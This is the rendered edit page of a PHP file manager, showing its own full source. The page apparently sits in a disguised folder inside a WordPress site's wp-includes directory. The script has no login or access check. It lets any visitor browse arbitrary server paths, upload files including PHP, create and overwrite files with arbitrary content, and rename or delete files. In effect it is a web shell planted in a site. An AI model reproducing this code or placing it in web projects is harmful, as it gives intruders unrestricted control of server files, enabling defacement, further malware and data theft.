<h3>Edit: index.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
error_reporting(E_ALL);
ini_set(&#039;display_errors&#039;, 1);
session_start();

define(&#039;ALLOWED_EXTENSIONS&#039;, [&#039;jpg&#039;,&#039;jpeg&#039;,&#039;png&#039;,&#039;gif&#039;,&#039;txt&#039;,&#039;pdf&#039;,&#039;zip&#039;,&#039;php&#039;,&#039;html&#039;,&#039;css&#039;,&#039;js&#039;,&#039;json&#039;,&#039;sql&#039;]);

$currentPath = isset($_GET[&#039;path&#039;]) ? realpath($_GET[&#039;path&#039;]) : getcwd();
if (!$currentPath || !is_dir($currentPath)) $currentPath = getcwd();

$item = $_GET[&#039;item&#039;] ?? null;
$itemPath = $item ? $currentPath . DIRECTORY_SEPARATOR . basename($item) : null;
$action = $_GET[&#039;action&#039;] ?? null;

/* ------------------ HELPER FUNCTIONS ------------------ */

function sizeFormat($bytes) {
    if ($bytes &gt;= 1048576) return round($bytes/1048576,2).&quot; MB&quot;;
    if ($bytes &gt;= 1024) return round($bytes/1024,2).&quot; KB&quot;;
    return $bytes.&quot; B&quot;;
}

function backLink($path){
    echo &quot;&lt;a href=&#039;?path=&quot;.urlencode(dirname($path)).&quot;&#039;&gt;⬅️ Up&lt;/a&gt;&quot;;
}

function redirect($path){
    header(&quot;Location: ?path=&quot;.urlencode($path));
    exit;
}

/* ------------------ POST OPERATIONS ------------------ */

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {

    try {

        // UPLOAD FILE
        if (!empty($_FILES[&#039;file&#039;][&#039;name&#039;])) {
            $ext = strtolower(pathinfo($_FILES[&#039;file&#039;][&#039;name&#039;], PATHINFO_EXTENSION));
            if (!in_array($ext, ALLOWED_EXTENSIONS))
                throw new Exception(&quot;Extension not allowed!&quot;);

            move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], 
                $currentPath.&quot;/&quot;.basename($_FILES[&#039;file&#039;][&#039;name&#039;]));
        }

        // CREATE FOLDER
        if (!empty($_POST[&#039;folder&#039;])) {
            mkdir($currentPath.&quot;/&quot;.basename($_POST[&#039;folder&#039;]),0755,true);
        }

        // CREATE FILE
        if (!empty($_POST[&#039;file&#039;]) &amp;&amp; isset($_POST[&#039;content&#039;])) {
            file_put_contents(
                $currentPath.&quot;/&quot;.basename($_POST[&#039;file&#039;]),
                $_POST[&#039;content&#039;]
            );
        }

        // RENAME
        if (!empty($_POST[&#039;rename&#039;]) &amp;&amp; $itemPath) {
            rename($itemPath,
                $currentPath.&quot;/&quot;.basename($_POST[&#039;rename&#039;]));
        }

        redirect($currentPath);

    } catch(Exception $e) {
        echo &quot;&lt;p style=&#039;color:red&#039;&gt;{$e-&gt;getMessage()}&lt;/p&gt;&quot;;
    }
}

/* ------------------ ACTION OPERATIONS ------------------ */

if ($action &amp;&amp; $itemPath) {

    if ($action === &#039;delete&#039;) {
        is_dir($itemPath) ? rmdir($itemPath) : unlink($itemPath);
        redirect($currentPath);
    }

    if ($action === &#039;edit&#039;) {
        if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;edit&#039;])) {
            file_put_contents($itemPath, $_POST[&#039;edit&#039;]);
            redirect($currentPath);
        }

        $content = htmlspecialchars(file_get_contents($itemPath));
        echo &quot;&lt;h3&gt;Edit: &quot;.basename($itemPath).&quot;&lt;/h3&gt;
        &lt;form method=&#039;POST&#039;&gt;
        &lt;textarea name=&#039;edit&#039; style=&#039;width:100%;height:400px;font-family:monospace&#039;&gt;$content&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;
        &lt;button&gt;Save&lt;/button&gt;
        &lt;/form&gt;&quot;;
        backLink($currentPath);
        exit;
    }

    if ($action === &#039;rename&#039;) {
        echo &quot;&lt;h3&gt;Rename&lt;/h3&gt;
        &lt;form method=&#039;POST&#039;&gt;
        &lt;input type=&#039;text&#039; name=&#039;rename&#039; value=&#039;&quot;.basename($itemPath).&quot;&#039; required&gt;
        &lt;button&gt;Save&lt;/button&gt;
        &lt;/form&gt;&quot;;
        backLink($currentPath);
        exit;
    }
}

/* ------------------ MAIN SCREEN ------------------ */

echo &quot;&lt;h2&gt;Current Location: &quot;.htmlspecialchars($currentPath).&quot;&lt;/h2&gt;&quot;;
backLink($currentPath);
echo &quot;&lt;hr&gt;&quot;;

$files = array_diff(scandir($currentPath),[&#039;.&#039;,&#039;..&#039;]);

echo &quot;&lt;ul&gt;&quot;;
foreach ($files as $f) {
    $full = $currentPath.&quot;/&quot;.$f;
    $icon = is_dir($full) ? &quot;📂&quot; : &quot;📄&quot;;
    echo &quot;&lt;li&gt;$icon &quot;;

    if (is_dir($full)) {
        echo &quot;&lt;a href=&#039;?path=&quot;.urlencode($full).&quot;&#039;&gt;$f&lt;/a&gt;&quot;;
    } else {
        echo &quot;&lt;b&gt;$f&lt;/b&gt; (&quot;.sizeFormat(filesize($full)).&quot;)&quot;;
        echo &quot; [&lt;a href=&#039;?path=&quot;.urlencode($currentPath).&quot;&amp;action=edit&amp;item=$f&#039;&gt;Edit&lt;/a&gt;]&quot;;
        echo &quot; [&lt;a href=&#039;?path=&quot;.urlencode($currentPath).&quot;&amp;action=delete&amp;item=$f&#039;&gt;Delete&lt;/a&gt;]&quot;;
        echo &quot; [&lt;a href=&#039;?path=&quot;.urlencode($currentPath).&quot;&amp;action=rename&amp;item=$f&#039;&gt;Rename&lt;/a&gt;]&quot;;
    }

    echo &quot;&lt;/li&gt;&quot;;
}
echo &quot;&lt;/ul&gt;&quot;;

echo &quot;&lt;hr&gt;&quot;;

?&gt;

&lt;h3&gt;Upload File&lt;/h3&gt;
&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
&lt;button&gt;Upload&lt;/button&gt;
&lt;/form&gt;

&lt;h3&gt;Create Folder&lt;/h3&gt;
&lt;form method=&quot;POST&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;folder&quot; required&gt;
&lt;button&gt;Create&lt;/button&gt;
&lt;/form&gt;

&lt;h3&gt;Create File&lt;/h3&gt;
&lt;form method=&quot;POST&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;file&quot; required&gt;&lt;br&gt;&lt;br&gt;
&lt;textarea name=&quot;content&quot; style=&quot;width:300px;height:80px&quot;&gt;&lt;/textarea&gt;&lt;br&gt;
&lt;button&gt;Save&lt;/button&gt;
&lt;/form&gt;</textarea><br><br>
        <button>Save</button>
        </form><a href='?path=%2Fvar%2Fwww%2Fhtml%2Fwordpress%2Fwp-includes__56db21a%2Frest-api'>⬅️ Up</a>